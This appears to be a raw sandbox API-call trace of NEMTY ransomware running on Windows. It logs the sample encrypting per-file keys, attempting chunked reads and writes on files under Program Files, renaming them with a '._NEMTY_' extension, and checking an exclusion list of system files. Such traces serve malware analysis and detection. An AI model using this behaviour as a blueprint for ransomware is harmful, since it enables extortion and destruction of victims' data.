HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0088.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0088.778] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0088.778] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0088.778] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0088.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0088.778] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="sAv8PpKhZFtosH7jfszi/RKV9rkxmZm5Zd+4FwUMK25OIN4ZYPeo+s8UKuyRRXJ9\r\naRwL9kmykiQ5ekckjgcAT2DaOLaK0iCcnKymK/pi9N345V1Oh5bhTY16Bw2PLD//\r\nHJ+zobnOc2qWWyiNbiLgNwTddcMJXfUa9etQc2euTgfTdQ2VzecdDsvqZ5YgxIWH\r\nE4j+cVrIrxvqEkRBppQkm2XHmOWt7sq2nK4Wgq5nNf6CfxPnuVBtqaRBjAUpgGIu\r\nvOKNL+8n5abjNYeVcZWwj1xcsd3logWyTqYrO0sJ2nlQL2k9Cg5DKWLDhW4zFhRr\r\nnI071L8iPNK7KQVk2XMlEw==\r\n", pcchString=0x653e91c) returned 1 [0088.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0088.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0088.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0088.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0088.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0088.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0088.778] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.779] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0088.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0088.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.789] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.789] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.808] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.808] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.832] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.832] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.841] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.841] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.851] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.851] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.860] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.860] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.870] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.880] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.886] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.886] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.892] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.892] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0088.892] CloseHandle (hObject=0xffffffff) returned 0 [0088.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340240 [0088.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0088.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0088.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0088.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0088.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0088.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0088.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0088.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0088.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0088.893] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png._nemty_kgobjgd_")) returned 0 [0088.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0088.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0088.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0088.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0088.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0088.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0088.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0088.893] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0088.893] lstrcmpiW (lpString1="highlight.png", lpString2=".") returned 1 [0088.893] lstrcmpiW (lpString1="highlight.png", lpString2="..") returned 1 [0088.893] lstrcmpiW (lpString1="highlight.png", lpString2="...") returned 1 [0088.893] lstrcmpiW (lpString1="highlight.png", lpString2="windows") returned -1 [0088.893] lstrcmpiW (lpString1="highlight.png", lpString2="$RECYCLE.BIN") returned 1 [0088.893] lstrcmpiW (lpString1="highlight.png", lpString2="rsa") returned -1 [0088.893] lstrcmpiW (lpString1="highlight.png", lpString2="NTDETECT.COM") returned -1 [0088.893] lstrcmpiW (lpString1="highlight.png", lpString2="ntldr") returned -1 [0088.893] lstrcmpiW (lpString1="highlight.png", lpString2="MSDOS.SYS") returned -1 [0088.893] lstrcmpiW (lpString1="highlight.png", lpString2="IO.SYS") returned -1 [0088.893] lstrcmpiW (lpString1="highlight.png", lpString2="boot.ini") returned 1 [0088.893] lstrcmpiW (lpString1="highlight.png", lpString2="boot.ini") returned 1 [0088.893] lstrcmpiW (lpString1="highlight.png", lpString2="AUTOEXEC.BAT") returned 1 [0088.893] lstrcmpiW (lpString1="highlight.png", lpString2="ntuser.dat") returned -1 [0088.893] lstrcmpiW (lpString1="highlight.png", lpString2="desktop.ini") returned 1 [0088.894] lstrcmpiW (lpString1="highlight.png", lpString2="CONFIG.SYS") returned 1 [0088.894] lstrcmpiW (lpString1="highlight.png", lpString2="RECYCLER") returned -1 [0088.894] lstrcmpiW (lpString1="highlight.png", lpString2="BOOTSECT.BAK") returned 1 [0088.894] lstrcmpiW (lpString1="highlight.png", lpString2="bootmgr") returned 1 [0088.894] lstrcmpiW (lpString1="highlight.png", lpString2="programdata") returned -1 [0088.894] lstrcmpiW (lpString1="highlight.png", lpString2="appdata") returned 1 [0088.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0088.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="highlight.png", lpUsedDefaultChar=0x0) returned 13 [0088.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0088.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0088.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="highlight.png", lpUsedDefaultChar=0x0) returned 13 [0088.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0088.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0088.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="highlight.png", lpUsedDefaultChar=0x0) returned 13 [0088.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0088.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="highlight.png", lpUsedDefaultChar=0x0) returned 13 [0088.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0088.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0088.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0088.894] Sleep (dwMilliseconds=0x5) [0088.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8a300d0, dwHighDateTime=0x1d561e7)) [0088.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8a300d0, dwHighDateTime=0x1d561e7)) [0088.902] GetLastError () returned 0x5 [0088.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0088.902] GetLastError () returned 0x5 [0088.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0088.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0088.902] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0088.902] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0088.903] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0088.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0088.903] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="52XiL6qAnjP/7OCbzhHSV0fWm+al43CSZjkVPots1v9XkKaiDWkxkJDcBdGv9isI\r\nmOjSZTywwq4qXDtDA+VTmYCp/M1Z3hW/AbZ+PRRRKgUAh1RCe5tpHwj50tCiMOVz\r\nsfPkgaijIPYS2j6Hap27kjpMOvDsg2p8j5JY3LlT2/548QkIBdyP8Dw5cWtTbX/X\r\nN/BFqPQrMu6vn44vPY3E9cTsA6JJcscWqdb9u2/jm3lJT0jVP38sRqKRV32ylbph\r\nC+pgYUjaR8aJkHfkoy8Ied+P/VG2XWDfQ7VJuBSIHKyNsi9qsvKQ4FXGxgfHY7mf\r\nKpp3lGhsGYpXkKQxwa0EVg==\r\n", pcchString=0x653e91c) returned 1 [0088.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0088.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0088.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0088.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0088.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0088.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0088.903] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.903] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0088.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0088.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.903] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.913] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, 